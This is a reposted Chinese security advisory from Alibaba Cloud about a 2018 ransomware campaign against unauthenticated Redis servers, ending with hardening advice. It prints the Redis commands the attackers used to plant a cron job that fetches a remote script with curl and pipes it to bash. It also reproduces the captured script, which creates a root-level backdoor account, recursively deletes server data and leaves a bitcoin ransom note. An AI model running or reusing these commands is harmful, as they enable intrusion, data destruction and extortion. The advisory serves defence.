【转载】Redis最新漏洞,删库勒索+跑路!!!

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介:

9月10日下午15:06开始,阿里云官方首次发现一起规模化利用Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的10s内就已开启全网拦截。
与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。
该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除!且很难恢复。
Redis应用简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis漏洞原理
作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。
自2017年12月以来,由于该漏洞已经被大规模利用,如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。
攻击过程说明
● 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器
● 攻击者尝试连接这些机器,并且运行如下代码:

config set dir /var/spool/cron/
config set dbfilename root
config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash
save

通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh并将该脚本写入到计划任务中,由计划任务启动执行。
由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:

#!/bin/bash
#*butterfly*
exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
userdel -r redis
useradd -o -u 0 -g 0 redis &>/dev/null
echo "abcd-1234-!" |passwd--stdin redis &>/dev/null
rm -rf /root/*
rm -rf /home/*
rm -rf /opt/*
rm -rf /data/*
rm -rf /data*
mkdir -p /data
echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt
chmod +x /root/Warning.txt
cp /root/Warning.txt /Warning.txt
cp /root/Warning.txt /data/Warning.txt
echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are

● 攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币,否则将在24小时之内删除数据备份。
● 但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。
截止到9月10日晚8点为止,该地址共收到了0.6个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。

**# 安全建议
● 通过安全组限制对公网对Redis等服务的访问
● 通过修改redis.conf配置文件,增加密码认证,并隐藏重要命令
● 以低权限运行redis服务等**

原文发布时间:2018年09月10日
本文作者:
本文来自云栖社区合作伙伴“阿里云安全”,了解相关信息可以关注“阿里云安全”。

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
NoSQL 安全 网络协议
|
1月前
|
存储 消息中间件 NoSQL
Redis 入门 - C#.NET Core客户端库六种选择
Redis 入门 - C#.NET Core客户端库六种选择
62 8
|
1月前
|
安全 NoSQL 网络安全
漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现
|
3月前
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
|
5月前
|
NoSQL Go Redis
如何使用 Go 和 `go-redis/redis` 库连接到 Redis 并执行一些基本操作
如何使用 Go 和 `go-redis/redis` 库连接到 Redis 并执行一些基本操作
80 1
|
4月前
|
Java Redis 数据安全/隐私保护
Redis13的Java客户端-Jedis快速入门,建立连接的写法,ip地址,设置密码密码,选择库的写法
Redis13的Java客户端-Jedis快速入门,建立连接的写法,ip地址,设置密码密码,选择库的写法
|
5月前
|
NoSQL 大数据 Redis
分享5款.NET开源免费的Redis客户端组件库
分享5款.NET开源免费的Redis客户端组件库
101 1
|
5月前
|
NoSQL Redis
Redis主从结构,主库宕机,解决
Redis主从结构,主库宕机,解决
44 0
|
5月前
|
NoSQL 关系型数据库 MySQL
Redis进阶-select 1. /xxx 切换数据库DBSIZE- 获取当前数据库中的key的个数flushdb-删除当前数据的所有keyflushall-删除所有表的所有库Re
Redis进阶-select 1. /xxx 切换数据库DBSIZE- 获取当前数据库中的key的个数flushdb-删除当前数据的所有keyflushall-删除所有表的所有库Re
|
6月前
|
NoSQL Shell Go
在go中简单使用go-redis库
在go中简单使用go-redis库
下一篇
无影云桌面